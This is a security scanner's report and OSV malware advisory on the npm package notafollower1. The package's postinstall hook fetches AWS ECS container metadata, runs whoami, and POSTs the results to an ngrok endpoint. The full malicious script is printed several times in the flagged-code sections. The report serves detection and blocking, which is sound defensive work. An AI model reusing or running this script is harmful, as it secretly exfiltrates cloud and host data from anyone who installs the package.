notafollower1@1.0.7: Malicious npm security report (Block)

AI Security Review

scanned 2d ago · by lpm-firewall-ai

Installation-time credential-adjacent metadata and host-identity collection is exfiltrated to an attacker-controlled endpoint.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm postinstall during package installation.

Impact

May disclose container metadata and local execution identity to a remote operator.

Mechanism

Fetch ECS metadata, run whoami, and POST stdout externally.

Attack narrative

On installation, the lifecycle hook reads the ECS metadata service address from the environment, fetches and prints its response alongside the current username, then pipes that output to a remote ngrok URL. This is unconsented install-time data exfiltration.

Rationale

The sole package file defines a postinstall collector/exfiltrator with no package functionality or user-invoked justification. The concrete install-time transmission warrants blocking.

Evidence

package.json

Network endpoints1

mourner-slot-explicit.ngrok-free.dev

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-14034

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in notafollower1 (npm)

Details

package.json declares a postinstall script that automatically runs on npm install and fetches AWS ECS container task metadata via the ECS_CONTAINER_METADATA_URI_V4 endpoint (task ARN, container names, image names), then POSTs the collected data to a hardcoded ngrok tunnel at https://mourner-slot-explicit.ngrok-free.dev using curl. The postinstall also inspects the container image name for substrings matching known security research operators (twbray, packagehound, wiz, oss-dynamic) and labels the payload accordingly, indicating deliberate sandbox and analyst fingerprinting. The destination is an anonymous ngrok tunnel unrelated to any legitimate publisher infrastructure, and the collected data reveals installer-side CI/build/container environment details to a third party.

References

OSV advisory PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

postinstall executes automatically during npm installation.
It fetches the ECS container metadata URI and captures its full response.
It runs whoami and pipes collected output to an external ngrok endpoint.

Evidence against

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 0 file(s), 0 B of source

Source & flagged code

6 flagged

package.jsonView file

•scripts.postinstall = node -e "const b=process.env.ECS_CONTAINER_METADATA_URI_V4;fetch(b).then(async r=>{console.log('user:',require('child_process').execSync('whoami').toString().trim(),'status:',r.sta...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "const b=process.env.ECS_CONTAINER_METADATA_URI_V4;fetch(b).then(async r=>{console.log('user:',require('child_process').execSync('whoami').toString().trim(),'status:',r.sta...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"postinstall": "node -e \"const b=process.env.ECS_CONTAINER_METADATA_URI_V4;fetch(b).then(async r=>{console.log('user:',require('child_process').execSync('whoami').toString().trim(),'status:',r.status,await r.text())}).catch(e=>console.log('fetch error, user:',require('child_process').execSync('whoami').toString().trim()))\" | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-"

High

Suspicious Lifecycle Evidence

postinstall executes automatically during npm installation.

package.jsonView on unpkg · L5

5process.env.ECS_CONTAINER_METADATA_URI_V4;fetch(b).then(async r=>{console.log('user:',require('child_process').execSync('whoami').toString().trim(),'status:',r.status,await r.text())})

High

Ai Review Evidence

It fetches the ECS container metadata URI and captures its full response.

package.jsonView on unpkg · L5

5require('child_process').execSync('whoami').toString().trim(),'status:',r.status,await r.text())}).catch(e=>console.log('fetch error, user:',require('child_process').execSync('whoami').toString().trim()))\" | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-

High

Ai Review Evidence

It runs whoami and pipes collected output to an external ngrok endpoint.

package.jsonView on unpkg · L5

package.json#scripts.postinstallView file

1"const b=process.env.ECS_CONTAINER_METADATA_URI_V4;fetch(b).then(async r=>{console.log('user:',require('child_process').execSync('whoami').toString().trim(),'status:',r.status,awai...

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

package.json#scripts.postinstallView on unpkg · L1

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.postinstall = node -e "const b=process.env.ECS_CONTAINER_METADATA_URI_V4;fetch(b).then(async r=>{console.log('user:',require('child_process').execSync('whoami').toString().trim(),'status:',r.sta...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "const b=process.env.ECS_CONTAINER_METADATA_URI_V4;fetch(b).then(async r=>{console.log('user:',require('child_process').execSync('whoami').toString().trim(),'status:',r.sta...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"postinstall": "node -e \"const b=process.env.ECS_CONTAINER_METADATA_URI_V4;fetch(b).then(async r=>{console.log('user:',require('child_process').execSync('whoami').toString().trim(),'status:',r.status,await r.text())}).catch(e=>console.log('fetch error, user:',require('child_process').execSync('whoami').toString().trim()))\" | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-"

High

Suspicious Lifecycle Evidence

postinstall executes automatically during npm installation.

Findings

1 Critical5 High2 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

HighSame File Env Network Executionpackage.json#scripts.postinstall

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencepackage.json

LowScripts Present

LowNo License